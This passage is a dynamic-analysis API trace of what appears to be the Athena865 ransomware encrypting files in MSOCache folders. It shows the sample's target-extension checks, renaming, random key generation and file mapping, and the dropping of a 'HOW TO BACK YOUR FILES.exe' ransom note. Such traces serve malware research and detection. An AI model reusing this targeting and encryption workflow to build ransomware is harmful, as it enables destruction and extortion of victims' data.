lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0105.905] lstrlenW (lpString="marshal") returned 7 [0105.906] lstrcmpiW (lpString1="oof.msi", lpString2="marshal") returned 1 [0105.906] lstrlenW (lpString="mas") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0105.906] lstrlenW (lpString="mav") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0105.906] lstrlenW (lpString="maw") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0105.906] lstrlenW (lpString="mdbhtml") returned 7 [0105.906] lstrcmpiW (lpString1="oof.msi", lpString2="mdbhtml") returned 1 [0105.906] lstrlenW (lpString="mdn") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0105.906] lstrlenW (lpString="mdt") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0105.906] lstrlenW (lpString="mfd") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0105.906] lstrlenW (lpString="mpd") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0105.906] lstrlenW (lpString="mrg") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0105.906] lstrlenW (lpString="mud") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0105.906] lstrlenW (lpString="mwb") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0105.906] lstrlenW (lpString="myd") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0105.906] lstrlenW (lpString="ndf") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0105.906] lstrlenW (lpString="nnt") returned 3 [0105.906] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0105.906] lstrlenW (lpString="nrmlib") returned 6 [0105.906] lstrcmpiW (lpString1="of.msi", lpString2="nrmlib") returned 1 [0105.906] lstrlenW (lpString="ns2") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0105.907] lstrlenW (lpString="ns3") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0105.907] lstrlenW (lpString="ns4") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0105.907] lstrlenW (lpString="nsf") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0105.907] lstrlenW (lpString="nv") returned 2 [0105.907] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0105.907] lstrlenW (lpString="nv2") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0105.907] lstrlenW (lpString="nwdb") returned 4 [0105.907] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0105.907] lstrlenW (lpString="nyf") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0105.907] lstrlenW (lpString="odb") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.907] lstrlenW (lpString="odb") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.907] lstrlenW (lpString="oqy") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0105.907] lstrlenW (lpString="ora") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0105.907] lstrlenW (lpString="orx") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0105.907] lstrlenW (lpString="owc") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0105.907] lstrlenW (lpString="p96") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0105.907] lstrlenW (lpString="p97") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0105.907] lstrlenW (lpString="pan") returned 3 [0105.907] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0105.908] lstrlenW (lpString="pdb") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0105.908] lstrlenW (lpString="pdm") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0105.908] lstrlenW (lpString="pnz") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0105.908] lstrlenW (lpString="qry") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0105.908] lstrlenW (lpString="qvd") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0105.908] lstrlenW (lpString="rbf") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0105.908] lstrlenW (lpString="rctd") returned 4 [0105.908] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0105.908] lstrlenW (lpString="rod") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0105.908] lstrlenW (lpString="rodx") returned 4 [0105.908] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0105.908] lstrlenW (lpString="rpd") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0105.908] lstrlenW (lpString="rsd") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0105.908] lstrlenW (lpString="sas7bdat") returned 8 [0105.908] lstrcmpiW (lpString1="roof.msi", lpString2="sas7bdat") returned -1 [0105.908] lstrlenW (lpString="sbf") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0105.908] lstrlenW (lpString="scx") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0105.908] lstrlenW (lpString="sdb") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0105.908] lstrlenW (lpString="sdc") returned 3 [0105.908] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0105.909] lstrlenW (lpString="sdf") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0105.909] lstrlenW (lpString="sis") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0105.909] lstrlenW (lpString="spq") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0105.909] lstrlenW (lpString="te") returned 2 [0105.909] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0105.909] lstrlenW (lpString="teacher") returned 7 [0105.909] lstrcmpiW (lpString1="oof.msi", lpString2="teacher") returned -1 [0105.909] lstrlenW (lpString="tmd") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0105.909] lstrlenW (lpString="tps") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0105.909] lstrlenW (lpString="trc") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.909] lstrlenW (lpString="trc") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.909] lstrlenW (lpString="trm") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0105.909] lstrlenW (lpString="udb") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0105.909] lstrlenW (lpString="udl") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0105.909] lstrlenW (lpString="usr") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0105.909] lstrlenW (lpString="v12") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0105.909] lstrlenW (lpString="vis") returned 3 [0105.909] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0105.909] lstrlenW (lpString="vpd") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0105.910] lstrlenW (lpString="vvv") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0105.910] lstrlenW (lpString="wdb") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0105.910] lstrlenW (lpString="wmdb") returned 4 [0105.910] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0105.910] lstrlenW (lpString="wrk") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0105.910] lstrlenW (lpString="xdb") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0105.910] lstrlenW (lpString="xld") returned 3 [0105.910] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0105.910] lstrlenW (lpString="xmlff") returned 5 [0105.910] lstrcmpiW (lpString1="f.msi", lpString2="xmlff") returned -1 [0105.910] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.Athena865") returned 91 [0105.910] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.athena865"), dwFlags=0x1) returned 1 [0105.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.911] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=885760) returned 1 [0105.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.912] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.912] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.912] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.913] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8700, lpName=0x0) returned 0x154 [0105.914] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8700) returned 0x2d50000 [0105.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.942] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.942] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.943] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.951] CloseHandle (hObject=0x154) returned 1 [0105.951] CloseHandle (hObject=0x17c) returned 1 [0105.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.955] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="temp") returned -1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="pagefile.sys") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="boot") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="ids.txt") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="perflogs") returned 1 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2="MSBuild") returned 1 [0105.955] lstrlenW (lpString="Proof.xml") returned 9 [0105.955] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml" [0105.955] lstrlenW (lpString="Proof.xml") returned 9 [0105.955] lstrlenW (lpString="Athena865") returned 9 [0105.955] lstrlenW (lpString=".dll") returned 4 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1 [0105.955] lstrlenW (lpString=".lnk") returned 4 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1 [0105.955] lstrlenW (lpString=".ini") returned 4 [0105.955] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1 [0105.955] lstrlenW (lpString=".sys") returned 4 [0105.956] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1 [0105.956] lstrlenW (lpString="Proof.xml") returned 9 [0105.956] lstrlenW (lpString="bak") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0105.956] lstrlenW (lpString="ba_") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0105.956] lstrlenW (lpString="dbb") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0105.956] lstrlenW (lpString="vmdk") returned 4 [0105.956] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0105.956] lstrlenW (lpString="rar") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0105.956] lstrlenW (lpString="zip") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0105.956] lstrlenW (lpString="tgz") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0105.956] lstrlenW (lpString="vbox") returned 4 [0105.956] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0105.956] lstrlenW (lpString="vdi") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0105.956] lstrlenW (lpString="vhd") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0105.956] lstrlenW (lpString="vhdx") returned 4 [0105.956] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0105.956] lstrlenW (lpString="avhd") returned 4 [0105.956] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0105.956] lstrlenW (lpString="db") returned 2 [0105.956] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0105.956] lstrlenW (lpString="db2") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0105.956] lstrlenW (lpString="db3") returned 3 [0105.956] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0105.957] lstrlenW (lpString="dbf") returned 3 [0105.957] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0105.957] lstrlenW (lpString="mdf") returned 3 [0105.957] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0105.957] lstrlenW (lpString="mdb") returned 3 [0105.957] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0105.957] lstrlenW (lpString="sql") returned 3 [0105.957] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0105.957] lstrlenW (lpString="sqlite") returned 6 [0105.957] lstrcmpiW (lpString1="of.xml", lpString2="sqlite") returned -1 [0105.957] lstrlenW (lpString="sqlite3") returned 7 [0105.957] lstrcmpiW (lpString1="oof.xml", lpString2="sqlite3") returned -1 [0105.957] lstrlenW (lpString="sqlitedb") returned 8 [0105.957] lstrcmpiW (lpString1="roof.xml", lpString2="sqlitedb") returned -1 [0105.957] lstrlenW (lpString="xml") returned 3 [0105.957] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0105.957] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Athena865") returned 91 [0105.963] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.athena865"), dwFlags=0x1) returned 1 [0105.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.964] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1458) returned 1 [0105.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.964] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.965] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.965] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.965] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x154 [0105.966] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000 [0105.967] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.968] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.968] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.968] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0105.968] CloseHandle (hObject=0x154) returned 1 [0105.969] CloseHandle (hObject=0x17c) returned 1 [0105.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.969] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0105.969] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0105.969] ReleaseMutex (hMutex=0xec) returned 1 [0105.969] CloseHandle (hObject=0xec) returned 1 [0105.969] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" [0105.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0105.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f628 | out: hHeap=0x4f0000) returned 1 [0105.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67 [0105.969] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CCA8823C6925DFBD922520CB0A7B3037") returned 0xec [0105.969] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0105.969] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" [0105.969] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0105.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to back your files.exe"), bFailIfExists=1) returned 0 [0105.970] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0105.970] GetLastError () returned 0x0 [0105.970] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0105.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0105.970] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0105.971] CloseHandle (hObject=0xf4) returned 1 [0105.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.971] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0105.971] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcac2fe20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcac2fe20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0105.971] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.972] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.972] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0105.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcac2fe20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcac2fe20, ftLastWriteTime.dwHighDateTime=0x1d575b6, 